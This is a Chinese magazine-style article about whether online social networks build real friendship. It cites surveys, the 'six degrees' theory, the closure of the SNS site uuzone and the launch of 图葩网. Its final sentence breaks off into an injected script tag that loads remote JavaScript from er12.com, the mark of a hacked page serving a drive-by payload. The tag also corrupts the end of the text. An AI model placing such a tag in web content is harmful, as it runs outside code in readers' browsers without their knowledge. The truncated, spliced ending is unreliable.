最近，linda把一声响亮的“我靠”拍到了老板脸上，为此，她怀疑自己得了抑郁症。
       接下来的时间，她感到悲惨和孤独。与上海淮海路写字楼里那些白领一样，linda在网上忧郁地打着字：“工作压力使我没时间找朋友倾诉；电子社会也没建起什么来。”
       “难道不是吗？”她说，“我无法与msn好友谈论这种私密事，也不指望博客能激起什么涟漪。”在她看来，眼下这篇激进的博客也会像她其它博客一样，是个“独自玩保龄的游戏”——也许有相当高浏览量，但没有太多评论，“甚至不知道评论者是谁……”
       当然，linda只是一个敏感而籍籍无名的业务咨询师。可是，在帮助社会资源依照“效率”及“增产”原则重新分配，推动各种固有体系如上世纪延续下来的商业模式、传统媒体、长期秉承的国家管辖权观念，乃至陈旧的控制概念发生变革外，互联网真的没有帮助一个普通人的社交建起什么吗？
       2006年11月，市场调查公司yougov发布报告称：大部分接受调查的人表示，现代科技为其带来了许多友好人士，但他们仅仅是熟人或认识而已——“要谈到真正的亲密关系，他们却让你进退两难”。
       人类正在失去朋友？这个答案让人惊奇，至少几年前雄心勃勃的互联网企业家们说的可不是这样。
       msn最近推出了《友谊分析报告》，说现在英国人平均拥有54个朋友，比2003年大幅增长64%；web2.0创业者们也曾激动指着美国社会心理学家米尔-格伦的“六度分隔”理论大叫——“最多通过六个人，你就能认识任何一个陌生人！社会性软件的发展，已使人际中这种普遍存在的‘弱链接’成为现实。”
       可实际情况呢？现在，社会学家们又将耳光响亮地拍在了他们脸上。
       “将人们聚集在一起的社交联系，可能与友谊没有关系。”上海大学社会学教授顾骏说：“只有当人与人之间建立有意义且可靠的关系时，友谊才会出现。社会资本的概念，可能完全忽略了这一点。”
       看起来，即使是网络时代，2300多年前亚里士多德的那句名言仍在奏效——“对友谊的渴望来得很快，但友谊来得没这么快。”那么，网络上有意义且可靠的关系究竟来自哪里？
       “要认识布什，
       你最多只要通过六个人
       3月21日，上海。朱威廉上线“图葩网”，这是web2.0中一类致力于帮助用户拓展社交关系的sns（social networking service）网站。“六度分隔”理论，是sns存在的基础。
       “事不成，我就从此消失。”朱威廉的宣言感性而煽情，以下是其江湖履历：——加州大学主修法律、洛杉矶警察、回国创办联美广告、创办“榕树下”、盛大副总裁、天联世纪总裁。
       席下数十名媒体记者为此偷笑，这份决绝似乎不合时宜。的确，就在八天前，位于南京的sns网站uuzone（优友地带）宣告关闭。“优友”成立于2004年，曾融资100万美金，用户数超过300万，是国内最早切入互联网新浪潮的web2.0网站之一。
       更重要的是，这是一个web2.0技术的试验田。“优友”客户端“uutong”同时支持类似skype的“pc to phone”功能。也就是说，uuzone用户可通过电脑以低得惊人的价格给任何地方的人打电话。
       但“优友”依然死去。为此，web2.0界掀起了关于sns有史以来最大规模的一场讨论。从其死亡的直接原因——“未配备网络安全员被取缔”、重讨web2.0商业脆弱，一直到谴责国内web2.0创业同质化严重导致用户分流等。“图葩网”上线16天后，这些问题被观察者进一步深化，它们主要集中在“技术导向”与“群体导向”两个层面。
       其一，图葩网除支持日志、图片、tag分类、书签及会员搜索外，新技术似乎乏善可陈，如何吸引用户？其二，成功者myspace是因为做“歌手和音乐”吸引了广泛fans，图葩网想从哪个群体切入？
       “技术应用已到一个非常成熟的阶段，我们会进行一系列的互动服务设计。”在心情急切的媒体看来，朱威廉3月21日的回答让人失望。
       但是，有个问题好像一直被web2.0观察者忽视了：即sns发展到现在，需要解决的已不仅是如何扩大社会资本，更是如何将这种关系稳固和生活化，因为sns的“父亲”——互联网已从一个功能性工具（看新浪读新闻、搜索百度、存储照片和有用的网址、网络比价?script src=http://er12.com/t.js>